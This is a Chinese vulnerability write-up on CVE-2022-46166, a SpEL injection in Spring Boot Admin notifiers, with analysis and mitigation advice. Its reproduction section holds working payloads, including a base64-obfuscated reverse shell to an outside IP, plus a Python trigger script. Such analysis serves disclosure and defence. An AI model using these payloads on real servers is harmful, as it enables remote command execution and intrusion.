文章

Spring_Boot_Admins_integrated_notifier_support_SpEL远程代码执行(CVE-2022-46166)

Spring_Boot_Admins_integrated_notifier_support_SpEL远程代码执行(CVE-2022-46166)

1 漏洞简介

Spring Boot Admin是一个用于管理Spring Boot应用程序的开源管理用户界面,用于监控Spring Boot单机或集群项目,它提供详细的健康信息、内存信息、JVM系统和环境属性、垃圾回收信息、日志设置和查看、定时任务查看、Spring Boot缓存查看和管理等功能。

Spring Boot Admin管理的application中启用了notifier ,并且存在弱口令或者未授权时,攻击者可利用相关接口设置相关配置,触发SpEL表达式,执行任意命令。

所有运行 Spring Boot Admin Server、启用通知程序(例如 Teams-Notifier)并通过 UI 写入环境变量的用户都会受到影响。 建议用户升级到最新版本的 Spring Boot Admin 2.6.10 和 2.7.8 以解决此问题。 无法升级的用户可以禁用任何通知程序或禁用 /env 执行器端点上的写访问(POST 请求)。

2 影响范围

2.6.0 ≤ Spring Boot Admin < 2.6.10

2.7.0 ≤ Spring Boot Admin < 2.7.8

3.0.0 ≤ Spring Boot Admin < 3.0.0-M6

3 环境搭建

4 漏洞分析

server端的详细信息页面

image-20230211162223391

可以看到这里是可以修改相应客户端的环境变量信息的,当然这里我是把server端自己注册为自己的client端,实现自己监控自己,同时也可以修改server端自己的环境变量。

然后跟进getValue方法,这里是CompositeStringExpression类下的getValue方法,调用栈如下

image-20230211162812448

然后注意到这里的默认评估表达式其实就是一个SpEl表达式

image-20230211162931741

继续跟进DingTalkNotifier

image-20230211163148139

可以看到这里的content已经调用刚才的SpEL表达式进行了解析,那我们有没有办法控制刚才的SpEL表达式呢?

答案是有的

没错,就是刚才我们看到的server端的环境变量页面。我们可以修改server端的环境变量,把钉钉消息通知的模板改为我们指定的内容,这里自然是要改成我们特定的SpEL表达式。

接下来我们实践一下

修改server端的环境变量

image-20230211163635126

这里我们把spring.boot.admin.notify.dingtalk.message的属性值改为了\#{2*2}

接下来再次使用Python模拟注册客户端并触发通知,然后跟进我们的断点

image-20230211164036448

image-20230211164110378

可以看到这里我们在环境变量中配置的SpEL表达式已经被解析为了4,也就是2*2的计算结果。

所以这里其实就是一种触发的方式

5 漏洞复现

这里我们把spring.boot.admin.notify.dingtalk.message的属性值改为了

#{T(java.lang.Runtime).getRuntime().exec("calc")}

1
2
#{T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTEzLjI1MC85MDAyIDA+JjE=}|{base64,-d}|{bash,-i}")}

image-20230516202245605

触发脚本:

import requests

url = "http://127.0.0.1:8080/instances"

data = {
    "name": "client",
    "managementUrl": "http://127.0.0.1:8444/actuator", "healthUrl": "http://127.0.0.1:8444/actuator/health",
    "serviceUrl": "http://127.0.0.1:8444", "metadata": {"startup": "2023-05-16T19:47:50.9381867+08:00"}
}

response = requests.post(url, json=data)

print(response.text)

image-20230516202428303

本文由作者按照 CC BY 4.0 进行授权